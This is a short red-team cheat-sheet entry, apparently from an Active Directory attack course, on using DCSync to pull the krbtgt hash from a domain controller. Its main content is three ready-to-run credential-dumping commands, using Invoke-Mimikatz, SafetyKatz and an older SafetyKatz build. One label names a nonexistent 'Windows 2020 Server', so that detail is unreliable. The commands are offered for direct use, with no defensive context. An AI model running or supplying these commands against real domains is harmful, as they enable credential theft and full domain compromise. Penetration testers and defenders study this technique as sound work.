Steps to execute:

  • To extract credentials from the DC without code execution on it, we can use DCSync
  • To use the DCSync feature for getting krbtgt hash execute the below command with DA privileges for us domain
  • By default, Domain Admins privileges are required to run DCSync
# Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'

# SafetyKatz
SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"

# SafetyKatz Old (For Windows 2020 Server)
SafetyKatz_old.exe "lsadump::dcsync /user:us\krbtgt" "exit"
Lateral Movement